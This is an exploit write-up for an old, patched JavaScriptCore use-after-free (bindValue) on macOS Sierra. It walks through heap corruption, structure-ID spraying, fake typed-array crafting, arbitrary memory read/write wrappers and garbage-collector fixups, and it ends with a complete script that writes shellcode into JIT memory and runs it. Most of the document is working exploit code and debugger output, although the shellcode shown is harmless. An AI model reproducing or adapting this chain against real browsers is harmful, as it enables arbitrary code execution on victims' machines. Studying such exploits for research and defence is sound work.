bindValue
UaFIn this article I will describe how I exploited JSC's bindValue UaF, patched on March 10th, 2017, as my first browser exploit. I was able to do this through a mostly heuristic approach, without delving deeply into the WebKit source code thanks to all the information in saelo's phrack paper, Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622, which I highly recommend reading.
Throughout this research I have used the version of JSC that is included with macOS Sierra 10.12.3.
As the changeset mentions, a built-in method, BindingNode::bindValue
, doesn't increase the scope's reference count, leading to a use after free vulnerability.
The changeset also comes with a regression test, which shows how to trigger the bug:
trunk/JSTests/stress/regress-168546.js:
// This test passes if it does not crash.
try {
(function () {
let a = {
get val() {
[...{a = 1.45}] = [];
a.val.x;
},
};
a.val;
})();
} catch (e) {
}
This code on its own won't actually crash, we need to allocate an object to achieve a crash:
function bug() {
let a = {
get val() {
[...{a = 1.45}] = [];
a.val = 1337;
},
};
a.val;
};
var k = new Uint32Array(0);
bug();
print(k);
Since System Integrity Protection will prevent us from attaching a debugger to a system binary, we will first need to copy /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc
to a local directory.
The process can then be started with the following commands:
lldb jsc bindValue/poc.js
(lldb) process launch
The output from lldb is:
Process 17493 stopped
* thread #1: tid = 0x73b48, 0x00007fff90c2b98a JavaScriptCore`JSC::JSObject::get(JSC::ExecState*, JSC::PropertyName) const + 1450, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x299f91998)
frame #0: 0x00007fff90c2b98a JavaScriptCore`JSC::JSObject::get(JSC::ExecState*, JSC::PropertyName) const + 1450
JavaScriptCore`JSC::JSObject::get:
-> 0x7fff90c2b98a <+1450>: movq (%rcx,%rax,8), %r13
0x7fff90c2b98e <+1454>: testb $0x8, 0x6(%r14)
0x7fff90c2b993 <+1459>: jne 0x7fff90c2b91f ; <+1343>
0x7fff90c2b995 <+1461>: movq 0x50(%r13), %rbx
The interesting register values are rax
, which holds a corrupted value, and rdi
which is a pointer to k
:
(lldb) register read rax
0x0000000033333333
(lldb) register read rdi
0x00000001025e7d80
Without going into too much detail, the bug
function triggered a use after free, which then caused a heap overflow, and ultimately resulted in corrupting the JSCell
value of the previous object on the marked space heap. In our case, the k
object's JSCell
was corrupted, which resulted in a crash when JSC tried to get
the object in order to execute print(k)
.
JSCell
corruption
Every object in marked space starts with an 8-byte JSCell
value, which is constructed of the following:
StructureID m_structureID
(4 bytes)IndexingType m_indexingTypeAndMisc
(1 byte)JSType m_type
(1 byte)TypeInfo::InlineTypeFlags m_flags
(1 byte)CellState m_cellState
(1 byte)All of these are explained in section 5.2 of saelo's phrack paper.
With the ability to corrupt an object's JSCell
there are a few different routes for exploitation such as: manipulating m_cellState
to cause the garbage collector to trigger UaF, type confusion, or heap overflow. I chose to go with heap overflow.
Using the primitive to change an object's structureID
, we can convert a typed array into one with differently sized elements. The idea being that the length
property will not be correct for an array of differently sized elements, and will allow out of bound access after the conversion.
For example, if we create a Uint8Array
of 0x400
elements, 0x400
bytes will be allocated for the internal buffer of this object. If it is then corrupted into a Uint32Array
, its size has effectively become 0x400 * 4 = 0x1000
bytes, allowing us to access 0x1000 - 0x400 = 0xC00
bytes of out of bounds memory.
When creating an object, we don't know exactly what its structureID
will be, so we will spray the structure table with 0x800
entires of Uint32Array
s first to ensure that we will corrupt the structureID
to one of these.
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for(var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
function sprayUint32Arrays(count) {
for(var i = 0; i < count; i++) {
var a = new Uint32Array(1);
a[makeid()] = 1337;
}
}
function JSCellHigh(m_indexingType, m_type, m_flags, m_cellState) {
return m_indexingType | m_type << 8 | m_flags << 16 | m_cellState << 24;
}
function intToFloat(high, low) {
var view = new DataView(new ArrayBuffer(16));
view.setUint32(0, high);
view.setUint32(4, low);
return view.getFloat64(0);
}
function toHex(i, j) {
if(typeof j === "undefined") j = 4;
return (i + 0x100000000).toString(16).substr(-j * 2).toUpperCase();
}
function hexDump(array, length, start) {
var s = 0;
if(typeof start === "undefined") start = 0;
if(array instanceof Uint8Array) s = 1;
else if(array instanceof Uint32Array) s = 4;
else return;
for(var i = start; i < length;) {
var t = "";
for(var j = 0; j < 0x10 / s && i < length; j++) {
t += toHex(array[i++], s) + " ";
}
print(t);
}
}
function corruptLastObject(JSCellHigh, structureID) {
let a = {
get val() {
[...{a = intToFloat(JSCellHigh, structureID)}] = [];
a.val = 1337;
},
};
a.val;
};
function makeCorruptedObject(JSCellHigh, structureID) {
var k = new Uint8Array(0x400);
for(var i = 0; i < k.length; i++) {
k[i] = 0xc2;
}
corruptLastObject(JSCellHigh, structureID);
if(!(k instanceof Uint32Array)) {
return null;
}
return k;
}
function go() {
print(" [+] Spraying stuctureID table with Uint32Arrays");
sprayUint32Arrays(0x800);
print(" [+] Getting corrupted Uint32Array");
// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
var k = makeCorruptedObject(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800);
if(!k) {
print(" [-] Failed to corrupt Uint8Array!");
return;
}
print(" [+] Changed k's structureID from Uint8Array entry to Uint32Array entry");
print(Object.prototype.toString.call(k));
print(Object.prototype.toString.call(k[0]));
print(" [+] Reading past buffer bounds");
hexDump(k, k.length, k.length / 4);
}
go();
Typed arrays store their contents in the copied space, which is where our heap overflow through the corrupted Uint32Array
occurs.
Our aim at this point is to spray copied space with an Array
of objects so that the Uint32Array
has a buffer which overlaps with other objects. We will then able to access the raw bytes of an object through the corrupted Uint32Array
, and use this to craft fake objects.
Specifically, we will spray JSArray
s of a certain JSValue
(0x41414141
), and then search our corrupted Uint32Array
for this JSValue
. Once we have found it, we can modify it to a different JSValue
(0x42424242
), and locate the object in the Array
whose value has changed.
...
function go() {
var bufs = new Array(0x1000);
print(" [+] Spraying stuctureID table with Uint32Arrays");
sprayUint32Arrays(0x800);
print(" [+] Getting corrupted Uint32Array");
// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
var k = makeCorruptedObject(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800);
if(!k) {
print(" [-] Failed to corrupt Uint8Array!");
return;
}
print(" [+] Spraying arrays of integers of 0x41414141");
for(var i = 0; i < bufs.length; i++) {
bufs[i] = new Array(0x100)
for(var j = 0; j < bufs[i].length;) {
// Integer 0x41414141 is represented as JSValue 0xffff000041414141
bufs[i][j++] = 0x41414141;
}
}
print(" [+] Searching overflow of corrupted Uint32Array for 0x41414141 spray");
var found = 0;
for(var i = k.length / 4; i < k.length;) {
if(k[i++] == 0x41414141 && k[i++] == 0xffff0000) {
found = i - 2;
break;
}
}
if(!found) {
printf(" [-] Couldn't find 0x41414141 spray");
return;
}
print(" [+] Modifying the found element of the 0x41414141 spray");
// We can now craft arbitrary objects
k[found] = 0x42424242;
k[found + 1] = 0xffff0000;
print(" [+] Searching for modified element");
var cx = null;
var cy = null;
// Find the crafted object
for(var i = 0; i < bufs.length && cx == null; i++) {
for(var j = 0; j < bufs[i].length;) {
if(bufs[i][j++] == 0x42424242) {
cx = i;
cy = j - 1;
break;
}
}
}
if(cx == null) {
print(" [-] Couldn't find the modified element");
return;
}
// The raw bytes of the `bufs[cx][cy]` object can now be accessed through `k` from index `found`
}
go();
Given that we can craft arbitrary objects, all we need to do at this point to gain arbitrary RW is craft a Uint32Array
(bufs[cx][cy]
) with a vector
property which points to a Uint8Array
(v
). The Uint32Array
would then be able to overwrite the vector
and length
properties of the Uint8Array
, achieving arbitrary RW.
Crafting the fake Uint32Array
is done by creating a new object (a container), whose inline storage contains the raw bytes of our crafted object (a Uint32Array
), and setting the element we located in the Array
to point to this new object.
var v = new Uint8Array(0x1000);
// structureID, butterfly, vector, length and flags
bufs[cx][cy] = { a:intToFloat(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800), b:null, c:v, d:intToFloat(0, 8) };
We then use the corrupted Uint32Array
(k
) to advance this pointer, so that it points to the container object's inline storage instead, turning it into the fake Uint32Array
that we crafted above.
// 48 bytes of a JSValue address used for pointer
var fakeObjectContainerAddress = [k[found + 1] & 0xffff, k[found]];
k[found] += 0x10;
var fakeObjectAddress = [k[found + 1] & 0xffff, k[found]];
Now, the vector
and length
of the v
array can be set through the crafted Uint32Array
(at bufs[cx][cy]
).
bufs[cx][cy][6] = 0xffffffff;
print(" [+] Set v.length to 0x" + toHex(v.length));
Finally, we can expose some nice wrappers for the arbitrary RW primitive.
...
function go() {
...
memory = {
read: function(addr, length) {
var high = addr[0];
var low = addr[1];
bufs[cx][cy][4] = low;
bufs[cx][cy][5] = high & 0xffff;
var a = new Uint8Array(length);
for(var i = 0; i < length; i++) a[i] = v[i];
return a;
},
write: function(addr, data) {
var high = addr[0];
var low = addr[1];
bufs[cx][cy][4] = low;
bufs[cx][cy][5] = high & 0xffff;
for(var i = 0; i < data.length; i++) v[i] = data[i];
},
read32: function(addr) {
var val = this.read(addr, 4);
return val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24;
},
write32: function(addr, val) {
var array = [ (val >> 0) & 0xff, (val >> 8) & 0xff, (val >> 16) & 0xff, (val >> 24) & 0xff ];
this.write(addr, array);
},
// Treat 64bit values as an array of [high, low]
read64a: function(addr) {
var val = this.read(addr, 8);
return [ val[4] << 0 | val[5] << 8 | val[6] << 16 | val[7] << 24, val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24 ];
},
write64a: function(addr, val) {
var array = [ (val[1] >> 0) & 0xff, (val[1] >> 8) & 0xff, (val[1] >> 16) & 0xff, (val[1] >> 24) & 0xff, (val[0] >> 0) & 0xff, (val[0] >> 8) & 0xff, (val[0] >> 16) & 0xff, (val[0] >> 24) & 0xff ];
this.write(addr, array);
},
};
print(" [+] Reading memory");
var test = memory.read(fakeObjectAddress, 0x100);
hexDump(test, test.length);
}
go();
Due to the way in which we constructed our fake Uint32Array
(bufs[cx][cy]
), there are certain properties which will cause garbage collection to crash.
To correct this and maintain a stable state, we will use the same technique as descibed by saelo:
// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Uint32Array.
bufs[cx][cy + 1] = {};
var emptyAddr = [k[found + 1 * 2 + 1] & 0xffff, k[found + 1 * 2]];
var header = memory.read(emptyAddr, 8);
memory.write(fakeObjectContainerAddress, header);
// Copy the JSCell and Butterfly (will be nullptr) from an existing Uint32Array.
bufs[cx][cy + 2] = new Uint32Array(8);
var u32arrayAddr = [k[found + 2 * 2 + 1] & 0xffff, k[found + 2 * 2]];
header = memory.read(u32arrayAddr, 16);
memory.write(fakeObjectAddress, header);
// Set valid flags as well: make it look like an OversizeTypedArray
// for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
memory.write(add32a(fakeObjectAddress, 24), [0x10, 0, 0, 0, 1, 0, 0, 0]);
Now, when we trigger garbage collection, no crash will occur!
var pressure = new Array(400);
function garbage() {
for(var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x100000);
}
}
garbage();
This final stage may vary slightly depending on the target you are attempting to exploit since some WebKit browsers implement JIT slightly differently. For the rest of this article we will continue to focus on JSC on macOS, which simply implements JIT with RWX pages.
Essentially, we can create a function which performs some relatively intensive loops in order to force it to be dynamically recompiled via JIT. Then we can read a set of pointers starting from this function object to ultimately lead us to the address of the recompiled function's RWX memory. This memory can then be rewritten, and executed by calling the function.
function makeJITCompiledFunction() {
var str = "";
for(var i = 0; i < 4096; i++) {
str += "try{}catch(e){}; ";
}
fcn = new Function(str);
for(var i = 0; i < 0x4000; i++) {
fcn();
}
return fcn;
}
function go() {
...
// Execute shellcode
bufs[cx][cy + 3] = makeJITCompiledFunction();
var functionAddr = [k[found + 3 * 2 + 1] & 0xffff, k[found + 3 * 2]];
print(" [+] Shellcode function object: 0x" + toHex(functionAddr[0]) + toHex(functionAddr[1]));
var executableAddr = memory.read64a(add32a(functionAddr, 24));
print(" [+] Executable instance: 0x" + toHex(executableAddr[0]) + toHex(executableAddr[1]));
var jitCodeAddr = memory.read64a(add32a(executableAddr, 24));
print(" [+] JITCode instance: 0x" + toHex(jitCodeAddr[0]) + toHex(jitCodeAddr[1]));
var codeAddr = memory.read64a(add32a(jitCodeAddr, 16));
print(" [+] RWX memory: 0x" + toHex(codeAddr[0]) + toHex(codeAddr[1]));
print(" [+] Writing shellcode...");
/*
a:
jmp a
memory.write(codeAddr, [0xeb, 0xfe]);
*/
/*
mov rax, 0xffff000013371337
ret
*/
memory.write(codeAddr, [ 0x48, 0xB8, 0x37, 0x13, 0x37, 0x13, 0x00, 0x00, 0xFF, 0xFF, 0xC3 ]);
print(" [+] Jumping into shellcode...");
var r = bufs[cx][cy + 3]();
print(" [+] Shellcode returned 0x" + toHex(r));
}
go();
Other systems such as the PS4 use a slightly more complicated system involving multiple virtual mappings with different permissions. On iOS 10 the address of writable JIT regions is encoded as an immediate value in an instruction which is marked execute only, and so a short ROP chain is required to gain arbitrary code execution.
Here is the final sample, which exploits the bug to gain arbitrary RW, and then uses this to write and executes arbitrary shellcode.
function makeJITCompiledFunction() {
var str = "";
for(var i = 0; i < 4096; i++) {
str += "try{}catch(e){}; ";
}
fcn = new Function(str);
for(var i = 0; i < 0x4000; i++) {
fcn();
}
return fcn;
}
function makeid() {
var text = "";
var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
for(var i = 0; i < 8; i++)
text += possible.charAt(Math.floor(Math.random() * possible.length));
return text;
};
function sprayUint32Arrays(count) {
for(var i = 0; i < count; i++) {
var a = new Uint32Array(1);
a[makeid()] = 1337;
}
}
function JSCellHigh(m_indexingType, m_type, m_flags, m_cellState) {
return m_indexingType | m_type << 8 | m_flags << 16 | m_cellState << 24;
}
function intToFloat(high, low) {
var view = new DataView(new ArrayBuffer(16));
view.setUint32(0, high);
view.setUint32(4, low);
return view.getFloat64(0);
}
function add32a(original, adding) {
var new_lo = (((original[1] >>> 0) + adding) & 0xFFFFFFFF) >>> 0;
var new_hi = (original[0] >>> 0);
if (new_lo < original[1]) {
new_hi++;
}
return [new_hi, new_lo];
}
function sub32a(original, subbing) {
var new_lo = (((original[1] >>> 0) - subbing) & 0xFFFFFFFF) >>> 0;
var new_hi = (original[0] >>> 0);
if ((new_lo > original[1]) & 0xFFFFFFFF) {
new_hi--;
}
return [new_hi, new_lo];
}
function toHex(i, j) {
if(typeof j === "undefined") j = 4;
return (i + 0x100000000).toString(16).substr(-j * 2).toUpperCase();
}
function hexDump(array, length, start) {
var s = 0;
if(typeof start === "undefined") start = 0;
if(array instanceof Uint8Array) s = 1;
else if(array instanceof Uint32Array) s = 4;
else return;
for(var i = start; i < length;) {
var t = "";
for(var j = 0; j < 0x10 / s && i < length; j++) {
t += toHex(array[i++], s) + " ";
}
print(t);
}
}
function corruptLastObject(JSCellHigh, structureID) {
let a = {
get val() {
[...{a = intToFloat(JSCellHigh, structureID)}] = [];
a.val = 1337;
},
};
a.val;
};
function makeCorruptedObject(JSCellHigh, structureID) {
var k = new Uint8Array(0x40 * 8);
for(var i = 0; i < k.length; i++) {
k[i] = 0xc2;
}
corruptLastObject(JSCellHigh, structureID);
if(!(k instanceof Uint32Array)) {
return null;
}
return k;
}
function go() {
var bufs = new Array(0x1000);
print(" [+] Spraying stuctureID table with Uint32Arrays");
sprayUint32Arrays(0x800);
print(" [+] Getting corrupted Uint32Array");
// Get a Uint32Array with corrupted length by corrupting a Uint8Array into a Uint32Array
var k = makeCorruptedObject(0x1602300, 0x800);
if(!k) {
print(" [-] Failed to corrupt Uint8Array!");
return;
}
print(" [+] Spraying arrays of integers of 0x41414141");
for(var i = 0; i < bufs.length; i++) {
bufs[i] = new Array(0x100)
for(var j = 0; j < bufs[i].length;) {
// Integer 0x41414141 is represented as JSValue 0xffff000041414141
bufs[i][j++] = 0x41414141;
}
}
print(" [+] Searching overflow of corrupted Uint32Array for 0x41414141 spray");
var found = 0;
for(var i = k.length / 4; i < k.length;) {
if(k[i++] == 0x41414141 && k[i++] == 0xffff0000) {
found = i - 2;
break;
}
}
if(!found) {
printf(" [-] Couldn't find 0x41414141 spray");
return;
}
print(" [+] Modifying the found element of the 0x41414141 spray");
// We can now craft arbitrary objects
k[found] = 0x42424242;
k[found + 1] = 0xffff0000;
print(" [+] Searching for modified element");
var cx = null;
var cy = null;
// Find the crafted object
for(var i = 0; i < bufs.length && cx == null; i++) {
for(var j = 0; j < bufs[i].length;) {
if(bufs[i][j++] == 0x42424242) {
cx = i;
cy = j - 1;
break;
}
}
}
if(cx == null) {
print(" [-] Couldn't find the modified element");
return;
}
print(" [+] Crafting fake object");
var v = new Uint8Array(0x1000);
// StructureID, butterfly, vector, length and flags
bufs[cx][cy] = { a:intToFloat(JSCellHigh(0x00, 0x23, 0x60, 0x01), 0x800), b:null, c:v, d:intToFloat(0, 8) };
// 48 bytes of a JSValue address used for pointer
var fakeObjectContainerAddress = [k[found + 1] & 0xffff, k[found]];
k[found] += 0x10;
var fakeObjectAddress = [k[found + 1] & 0xffff, k[found]];
print(" [+] Fake object crafted at 0x" + toHex(fakeObjectAddress[0]) + toHex(fakeObjectAddress[1]));
bufs[cx][cy][6] = 0xffffffff;
print(" [+] Set v.length to 0x" + toHex(v.length));
memory = {
read: function(addr, length) {
var high = addr[0];
var low = addr[1];
bufs[cx][cy][4] = low;
bufs[cx][cy][5] = high & 0xffff;
var a = new Uint8Array(length);
for(var i = 0; i < length; i++) a[i] = v[i];
return a;
},
write: function(addr, data) {
var high = addr[0];
var low = addr[1];
bufs[cx][cy][4] = low;
bufs[cx][cy][5] = high & 0xffff;
for(var i = 0; i < data.length; i++) v[i] = data[i];
},
read32: function(addr) {
var val = this.read(addr, 4);
return val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24;
},
write32: function(addr, val) {
var array = [ (val >> 0) & 0xff, (val >> 8) & 0xff, (val >> 16) & 0xff, (val >> 24) & 0xff ];
this.write(addr, array);
},
// Treat 64bit values as an array of [high, low]
read64a: function(addr) {
var val = this.read(addr, 8);
return [ val[4] << 0 | val[5] << 8 | val[6] << 16 | val[7] << 24, val[0] << 0 | val[1] << 8 | val[2] << 16 | val[3] << 24 ];
},
write64a: function(addr, val) {
var array = [ (val[1] >> 0) & 0xff, (val[1] >> 8) & 0xff, (val[1] >> 16) & 0xff, (val[1] >> 24) & 0xff, (val[0] >> 0) & 0xff, (val[0] >> 8) & 0xff, (val[0] >> 16) & 0xff, (val[0] >> 24) & 0xff ];
this.write(addr, array);
},
};
// Fixup the JSCell header of the container to make it look like an empty object.
// By default, JSObjects have an inline capacity of 6, enough to hold the fake Uint32Array.
bufs[cx][cy + 1] = {};
var emptyAddr = [k[found + 1 * 2 + 1] & 0xffff, k[found + 1 * 2]];
var header = memory.read(emptyAddr, 8);
memory.write(fakeObjectContainerAddress, header);
// Copy the JSCell and Butterfly (will be nullptr) from an existing Uint32Array.
bufs[cx][cy + 2] = new Uint32Array(8);
var u32arrayAddr = [k[found + 2 * 2 + 1] & 0xffff, k[found + 2 * 2]];
header = memory.read(u32arrayAddr, 16);
memory.write(fakeObjectAddress, header);
// Set valid flags as well: make it look like an OversizeTypedArray
// for easy GC survival (see JSGenericTypedArrayView<Adaptor>::visitChildren).
memory.write(add32a(fakeObjectAddress, 24), [0x10, 0, 0, 0, 1, 0, 0, 0]);
// Run garbage collector to make sure it doesn't crash
/*
var pressure = new Array(400);
function garbage() {
for(var i = 0; i < pressure.length; i++) {
pressure[i] = new Uint32Array(0x100000);
}
}
garbage();
*/
// Execute shellcode
bufs[cx][cy + 3] = makeJITCompiledFunction();
var functionAddr = [k[found + 3 * 2 + 1] & 0xffff, k[found + 3 * 2]];
print(" [+] Shellcode function object: 0x" + toHex(functionAddr[0]) + toHex(functionAddr[1]));
var executableAddr = memory.read64a(add32a(functionAddr, 24));
print(" [+] Executable instance: 0x" + toHex(executableAddr[0]) + toHex(executableAddr[1]));
var jitCodeAddr = memory.read64a(add32a(executableAddr, 24));
print(" [+] JITCode instance: 0x" + toHex(jitCodeAddr[0]) + toHex(jitCodeAddr[1]));
var codeAddr = memory.read64a(add32a(jitCodeAddr, 16));
print(" [+] RWX memory: 0x" + toHex(codeAddr[0]) + toHex(codeAddr[1]));
print(" [+] Writing shellcode...");
/*
a:
jmp a
memory.write(codeAddr, [0xeb, 0xfe]);
*/
/*
mov rax, 0xffff000013371337
ret
*/
memory.write(codeAddr, [ 0x48, 0xB8, 0x37, 0x13, 0x37, 0x13, 0x00, 0x00, 0xFF, 0xFF, 0xC3 ]);
print(" [+] Jumping into shellcode...");
var r = bufs[cx][cy + 3]();
print(" [+] Shellcode returned 0x" + toHex(r));
}
go();
I would definitely recommend experimenting with this bug to anyone else who is interested in learning about WebKit exploitation since it provides such a nice primitive, the ability to rewrite an object's JSCell
, which leads to a large variety of possibilities for exploitation.